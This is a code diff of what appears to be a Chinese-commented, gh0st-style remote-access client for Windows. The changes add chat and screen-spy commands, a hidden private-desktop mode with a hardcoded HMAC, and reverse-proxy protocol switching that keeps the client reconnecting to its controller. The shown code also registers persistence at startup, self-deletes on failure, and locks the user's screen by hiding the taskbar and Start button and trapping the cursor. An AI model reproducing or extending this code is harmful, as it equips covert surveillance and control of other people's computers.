// 会在任何长度判断之前丢掉首字节为 101('e') 的包——而本通道承载的是自由文本,
|
||||
// 于是「echo」「error」这类以 e 开头的消息被静默吞掉。删掉即可,保留长度判断。
|
||||
|
||||
if (ulLength == 1) {
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_NEXT_CHAT:
|
||||
NotifyDialogIsOpen();
|
||||
return;
|
||||
case COMMAND_CHAT_CLOSE:
|
||||
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||
return;
|
||||
case COMMAND_CHAT_SCREEN_LOCK:
|
||||
NotifyDialogIsOpen();
|
||||
if (m_hWnd && g_nLocked == 0) {
|
||||
ShowWindow(m_hWnd, SW_RESTORE);
|
||||
RECT rct = { 0 };
|
||||
GetWindowRect(m_hWnd, &rct);
|
||||
ClipCursor(&rct);
|
||||
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
|
||||
PIDWNDINFO pwi = { 0 };
|
||||
pwi.dwProcessId = 0;
|
||||
pwi.hWnd = m_hWnd;
|
||||
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
|
||||
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
|
||||
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
|
||||
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
|
||||
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
|
||||
g_nLocked = 1;
|
||||
}
|
||||
return;
|
||||
case COMMAND_CHAT_SCREEN_UNLOCK:
|
||||
if (g_nLocked == 1) {
|
||||
UnlockScreen();
|
||||
}
|
||||
return;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 收到服务端发来的聊天文本:协议是 CP936 字节(NUL 结尾),转成 UTF-16 显示,
|
||||
// 这样非中文系统(德语等)上也能正确显示中文。
|
||||
const size_t cbText = ChatBoundedStrlen((const char*)szBuffer, (size_t)ulLength);
|
||||
std::wstring text;
|
||||
if (!Cp936ToWide((const char*)szBuffer, (int)cbText, text)) return;
|
||||
if (m_hWnd) {
|
||||
AppendChatLine(m_hWnd, ChatUi().peer, text.c_str());
|
||||
ShowWindow(m_hWnd, SW_RESTORE);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,30 @@
|
||||
// ChatManager.h: interface for the CChatManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
#if ENABLE_MESSAGE==0
|
||||
#define CChatManager CManager
|
||||
#else
|
||||
|
||||
class CChatManager : public CManager
|
||||
{
|
||||
public:
|
||||
HINSTANCE m_hInstance;
|
||||
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CChatManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
private:
|
||||
BOOL m_bRun;
|
||||
HANDLE m_hThread;
|
||||
HWND m_hWnd;
|
||||
|
||||
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
|
||||
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
|
||||
#endif
|
||||
@@ -11,4 +11,6 @@ public:
|
||||
virtual bool Start() = 0;
|
||||
virtual bool Stop() = 0;
|
||||
virtual bool IsMainInstance() = 0;
|
||||
// 分享实例(被别人挂在主控上)的连接入口由分享方控制,不跟随本机主控的协议切换。
|
||||
virtual bool IsShared() { return false; }
|
||||
};
|
||||
+227
-18
@@ -3,6 +3,7 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ClientDll.h"
|
||||
#include "ActivityHistory.h"
|
||||
#include <common/iniFile.h>
|
||||
#include <common/LANChecker.h>
|
||||
#include <common/VerifyV2.h>
|
||||
@@ -65,16 +66,62 @@ BOOL IsClientAppRunning(void* thisApp)
|
||||
return S_CLIENT_NORMAL == This->g_bExit;
|
||||
}
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
|
||||
{
|
||||
auto v = StringToVector(remoteAddr, ':', 2);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
return nullptr;
|
||||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||||
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
|
||||
a->g_Connection->iHeaderEnc = headerEnc;
|
||||
return a;
|
||||
}
|
||||
|
||||
#if _CONSOLE
|
||||
#define DLL_API
|
||||
#else
|
||||
#define DLL_API __declspec(dllexport)
|
||||
#endif
|
||||
|
||||
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
|
||||
if (!ENABLE_SCREEN || ulLength == 0) {
|
||||
return 1;
|
||||
}
|
||||
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
|
||||
return 2;
|
||||
}
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_SCREEN_SPY: {
|
||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||||
szBuffer = bToken; ulLength = 4;
|
||||
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
ThreadInfo m_hThread;
|
||||
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
|
||||
// sub->EnableSubConnAuth();
|
||||
m_hThread.conn = m_conn;
|
||||
m_hThread.p = sub;
|
||||
m_hThread.user = user;
|
||||
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
|
||||
while (m_hThread.p) Sleep(1000);
|
||||
return 0;
|
||||
}
|
||||
case TOKEN_PRIVATESCREEN: {
|
||||
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
|
||||
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
|
||||
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
|
||||
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
|
||||
t.join();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param)
|
||||
{
|
||||
ClientApp::AddCount(1);
|
||||
@@ -219,16 +266,24 @@ int main(int argc, const char *argv[])
|
||||
licenseInit();
|
||||
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
|
||||
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
|
||||
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
|
||||
if (nCmd) {
|
||||
BYTE buf[] = { nCmd };
|
||||
return RunCommand(buf, 1);
|
||||
}
|
||||
InitWindowsService(NewService(
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
|
||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
|
||||
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
|
||||
// 注册启动项
|
||||
int r = RegisterStartup(
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||||
!isService, g_SETTINGS.runasAdmin, Logf);
|
||||
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf, g_SETTINGS.installFlag);
|
||||
if (r <= 0) {
|
||||
BOOL s = self_del();
|
||||
if (!IsDebug) {
|
||||
@@ -390,6 +445,11 @@ extern "C" __declspec(dllexport) void StopRun()
|
||||
// 是否成功停止
|
||||
extern "C" __declspec(dllexport) bool IsStoped()
|
||||
{
|
||||
// 主控端重启(S_SERVER_EXIT):主实例工作线程已结束,即使分享实例仍在运行,
|
||||
// 也视为「可重连」。旧 TestRun 加载循环靠它立即重连,无需卸载/重装 TestRun.exe;
|
||||
// 分享实例继续存活,不受主控端重启影响。
|
||||
if (S_SERVER_EXIT == g_MyApp.g_bExit)
|
||||
return true;
|
||||
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
|
||||
}
|
||||
|
||||
@@ -407,14 +467,12 @@ extern "C" __declspec(dllexport) int EasyRun()
|
||||
|
||||
do {
|
||||
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
||||
if (S_SERVER_EXIT == app.g_bExit)
|
||||
continue; // 主控端重启:立即重连,不等仍存活的分享实例
|
||||
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净再退出
|
||||
while (!IsStoped())
|
||||
Sleep(50);
|
||||
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
|
||||
break;
|
||||
else if (S_SERVER_EXIT == app.g_bExit)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE: 程序更新
|
||||
break;
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
return app.g_bExit;
|
||||
@@ -500,14 +558,14 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
|
||||
|
||||
do {
|
||||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||
if (bExit == S_SERVER_EXIT)
|
||||
continue; // 主控端重启:立即重连,不等仍存活的分享实例
|
||||
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净
|
||||
while (!IsStoped())
|
||||
Sleep(20);
|
||||
if (bExit == S_CLIENT_EXIT)
|
||||
return;
|
||||
else if (bExit == S_SERVER_EXIT)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE
|
||||
break;
|
||||
break; // S_CLIENT_UPDATE
|
||||
} while (true);
|
||||
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
@@ -526,6 +584,132 @@ void ParseAuthServer(CONNECT_ADDRESS *conn) {
|
||||
delete cfg;
|
||||
}
|
||||
|
||||
// ---------------- 协议切换(COMMAND_SET_PROTO)的客户端落地 ----------------
|
||||
//
|
||||
// 服务端把目标入口写进本机配置(注册表 settings\proto_override 等),随后客户端断开,
|
||||
// 重连循环在这里按新入口重连。覆盖点选在「外壳注入完连接配置之后、建连之前」,因此
|
||||
// 在线升级换 DLL 也不会把协议按回 TCP——外壳注入的 protoType 每次都被这里覆盖。
|
||||
//
|
||||
// 注册表键(后缀均在 settings 下):
|
||||
// proto_override 目标协议(PROTO_TCP/WS/WSS 的数字),空 = 未切换
|
||||
// entry_host/port 新入口(反代域名:端口)
|
||||
// entry_try_at 切换时刻(unix 秒)。登录成功后清零;超时仍未登录 → 自动回退
|
||||
// base_host/port/proto 安装时的直连入口(首次切换时记录,「还原」用它)
|
||||
// prev_host/port/proto 切换前的入口(每次切换时记录,自动回退用它)
|
||||
namespace {
|
||||
|
||||
const int kProtoSwitchRevertSeconds = 300; // 新入口 5 分钟内登不上去 → 自动回退
|
||||
|
||||
bool IsSwitchableProto(int p)
|
||||
{
|
||||
return p == PROTO_TCP || p == PROTO_WS || p == PROTO_WSS;
|
||||
}
|
||||
|
||||
// 本进程首次见到的入口(外壳注入的直连入口)。用于识别「客户端被换装/重新生成」:
|
||||
// 注入入口变了,就清掉旧的切换状态,否则会一直连到上一份配置的反代入口。
|
||||
std::string g_bootHost;
|
||||
int g_bootPort = 0;
|
||||
bool g_bootCaptured = false;
|
||||
|
||||
void ClearAllProtoSwitchKeys(iniFile& cfg)
|
||||
{
|
||||
const char* keys[] = { "proto_override", "entry_host", "entry_port", "entry_try_at",
|
||||
"base_host", "base_port", "base_proto",
|
||||
"prev_host", "prev_port", "prev_proto" };
|
||||
for (auto k : keys)
|
||||
cfg.SetStr("settings", k, "");
|
||||
}
|
||||
|
||||
// 在每次建连前应用入口覆盖(就地改写 s,并落盘必要的状态)。没有返回值:它既会改 s 也会
|
||||
// 改配置,用「是否用了覆盖入口」当返回值会与副作用矛盾——自动回退分支照样改写了 settings,
|
||||
// 却没法用一个 bool 表达,调用方也确实不需要这个信息。
|
||||
void ApplyProtoSwitch(iniFile& cfg, CONNECT_ADDRESS& s)
|
||||
{
|
||||
if (!g_bootCaptured) {
|
||||
g_bootCaptured = true;
|
||||
g_bootHost = s.ServerIP();
|
||||
g_bootPort = s.ServerPort();
|
||||
}
|
||||
|
||||
const std::string baseHost = cfg.GetStr("settings", "base_host");
|
||||
if (!baseHost.empty() && baseHost != g_bootHost) {
|
||||
// 客户端换装/重新生成:注入的入口变了,旧的反代入口不再成立
|
||||
ClearAllProtoSwitchKeys(cfg);
|
||||
Mprintf("[proto-switch] injected entry changed (%s -> %s), cleared stale switch state\n",
|
||||
baseHost.c_str(), g_bootHost.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
const std::string proto = cfg.GetStr("settings", "proto_override");
|
||||
if (proto.empty()) {
|
||||
// 覆盖已撤销(服务端「还原」):回到安装时的直连入口
|
||||
const std::string host = cfg.GetStr("settings", "base_host");
|
||||
const int port = atoi(cfg.GetStr("settings", "base_port").c_str());
|
||||
int baseProto = atoi(cfg.GetStr("settings", "base_proto").c_str());
|
||||
if (!host.empty() && port > 0) {
|
||||
if (!IsSwitchableProto(baseProto)) baseProto = PROTO_TCP;
|
||||
s.SetServer(host.c_str(), port);
|
||||
s.protoType = (char)baseProto;
|
||||
Mprintf("[proto-switch] restored direct entry %s:%d proto=%d\n", host.c_str(), port, baseProto);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const int p = atoi(proto.c_str());
|
||||
if (!IsSwitchableProto(p)) {
|
||||
ClearAllProtoSwitchKeys(cfg); // 坏值:撤销覆盖,按注入配置走
|
||||
return;
|
||||
}
|
||||
|
||||
// 自动回退:切换后一直没登录成功(entry_try_at 由服务端下发时写入,登录成功后清零)
|
||||
const long long tryAt = atoll(cfg.GetStr("settings", "entry_try_at").c_str());
|
||||
if (tryAt > 0 && (long long)time(0) - tryAt > kProtoSwitchRevertSeconds) {
|
||||
const std::string prevHost = cfg.GetStr("settings", "prev_host");
|
||||
const int prevPort = atoi(cfg.GetStr("settings", "prev_port").c_str());
|
||||
int prevProto = atoi(cfg.GetStr("settings", "prev_proto").c_str());
|
||||
if (!prevHost.empty() && prevPort > 0) {
|
||||
// 把「覆盖」改写成切换前的入口,而不是清空它:清空会落到下面的「还原」分支,
|
||||
// 下一轮重连又跳回安装时的直连入口——WS↔WSS 之间来回切时会白白多断一次。
|
||||
if (!IsSwitchableProto(prevProto)) prevProto = PROTO_TCP;
|
||||
s.SetServer(prevHost.c_str(), prevPort);
|
||||
s.protoType = (char)prevProto;
|
||||
cfg.SetStr("settings", "proto_override", std::to_string(prevProto));
|
||||
cfg.SetStr("settings", "entry_host", prevHost);
|
||||
cfg.SetStr("settings", "entry_port", std::to_string(prevPort));
|
||||
Mprintf("[proto-switch] new entry unreachable for %llds, reverted to %s:%d proto=%d\n",
|
||||
(long long)time(0) - tryAt, prevHost.c_str(), prevPort, prevProto);
|
||||
} else {
|
||||
// 没有前入口可回:撤销覆盖,按外壳注入的配置走
|
||||
cfg.SetStr("settings", "proto_override", "");
|
||||
cfg.SetStr("settings", "entry_host", "");
|
||||
cfg.SetStr("settings", "entry_port", "");
|
||||
Mprintf("[proto-switch] new entry unreachable and no previous entry, override dropped\n");
|
||||
}
|
||||
cfg.SetStr("settings", "entry_try_at", "0");
|
||||
return;
|
||||
}
|
||||
|
||||
const std::string host = cfg.GetStr("settings", "entry_host");
|
||||
const int port = atoi(cfg.GetStr("settings", "entry_port").c_str());
|
||||
if (!host.empty() && port > 0)
|
||||
s.SetServer(host.c_str(), port);
|
||||
s.protoType = (char)p;
|
||||
}
|
||||
|
||||
// 新入口登录成功:撤销自动回退计时。入口覆盖本身保留——后续重连一直用它。
|
||||
void ConfirmProtoSwitch(iniFile& cfg)
|
||||
{
|
||||
if (cfg.GetStr("settings", "proto_override").empty())
|
||||
return;
|
||||
if (cfg.GetStr("settings", "entry_try_at") == "0" ||
|
||||
cfg.GetStr("settings", "entry_try_at").empty())
|
||||
return;
|
||||
cfg.SetStr("settings", "entry_try_at", "0");
|
||||
Mprintf("[proto-switch] new entry reachable, auto-revert disarmed\n");
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
@@ -536,6 +720,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
std::string ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
|
||||
ActivityHistory::Instance().Start();
|
||||
if (!app.m_bShared) {
|
||||
auto now = time(0);
|
||||
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||
@@ -543,16 +728,26 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
auto saved_ip = cfg.GetStr("settings", "master");
|
||||
auto saved_port = cfg.GetInt("settings", "port");
|
||||
settings.SetServer(saved_ip.c_str(), saved_port);
|
||||
auto saved_proto = cfg.GetStr("settings", "master_proto");
|
||||
if (saved_proto == "0" || saved_proto == "1")
|
||||
settings.iHeaderEnc = atoi(saved_proto.c_str());
|
||||
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
|
||||
int(valid_to-now));
|
||||
}
|
||||
}
|
||||
auto list = app.GetSharedMasterList();
|
||||
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||||
for (int i=1; i<list.size(); ++i) {
|
||||
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
// 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
|
||||
// 若不守护会重复派生并行连接。主实例的 SetServer(list[0]) 保持每次执行,
|
||||
// 让主实例始终指向域名解析出的第一个 IP。
|
||||
static bool parallelHasRun = false;
|
||||
if (!parallelHasRun) {
|
||||
parallelHasRun = true;
|
||||
for (int i=1; i<list.size(); ++i) {
|
||||
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, FALSE);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
}
|
||||
}
|
||||
// The main ClientApp.
|
||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||
@@ -563,7 +758,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
auto a = cfg.GetStr("settings", "share_list");
|
||||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||||
for (int i = 0; i < shareList.size(); ++i) {
|
||||
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
|
||||
auto v = StringToVector(shareList[i], ':', 3);
|
||||
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
|
||||
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
|
||||
}
|
||||
@@ -594,6 +791,10 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
|
||||
while (app.m_bIsRunning(&app)) {
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
// 协议切换:按注册表里的入口覆盖建连(分享实例不受主控的切换影响,被分配/转移
|
||||
// 过主控的入口优先)。
|
||||
if (!assigned && !app.m_bShared)
|
||||
ApplyProtoSwitch(cfg, settings);
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||||
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
|
||||
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
@@ -618,6 +819,14 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
do {
|
||||
Manager->SendHeartbeat();
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
// 协议切换:新入口「登录被接受」后才撤销自动回退计时(ConfirmProtoSwitch 幂等)。
|
||||
// IsConnected() 只代表 TCP/TLS/WS 握手完成;若新入口能建连但登录始终不被接受
|
||||
// (选错后端、反代指到别的 WS 服务、服务端登录阶段丢弃),提前撤销会让 5 分钟
|
||||
// 自动回退永久失效,客户端卡在错误入口反复重连。IsLoginAcked() 在收到
|
||||
// CMD_MASTERSETTING 时置位——服务端只有在把本机加入在线列表后才发它。
|
||||
// 不放在循环前一次判定:MasterSettings 可能比第一轮心跳晚到。
|
||||
if (ClientObject->IsConnected() && ClientObject->IsLoginAcked())
|
||||
ConfirmProtoSwitch(cfg);
|
||||
if (assigned && time(0) > valid_to) {
|
||||
app.SetProcessState(S_CLIENT_UPDATE);
|
||||
settings.SetServer(ip.c_str(), port);
|
||||
|
||||
+5
-1
@@ -61,6 +61,10 @@ public:
|
||||
{
|
||||
SAFE_DELETE(g_Connection);
|
||||
}
|
||||
bool IsShared() override
|
||||
{
|
||||
return m_bShared != FALSE;
|
||||
}
|
||||
ClientApp* SetID(unsigned id)
|
||||
{
|
||||
m_ID = id;
|
||||
@@ -130,7 +134,7 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
|
||||
|
||||
// 启动核心线程,参数为:ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
@@ -178,12 +178,22 @@
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -197,11 +207,15 @@
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
@@ -209,6 +223,9 @@
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
@@ -220,20 +237,35 @@
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||
<ClInclude Include="EncoderFactory.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
@@ -256,6 +288,12 @@
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="ChatDialogTemplate.h" />
|
||||
<ClInclude Include="TalkDialogTemplate.h" />
|
||||
<ClInclude Include="ImageResource.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
|
||||
@@ -41,6 +41,21 @@
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ActivityHistory.cpp" />
|
||||
<ClCompile Include="ClientLogManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp" />
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
|
||||
<ClCompile Include="DrawingBoardMgr.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
@@ -55,6 +70,7 @@
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
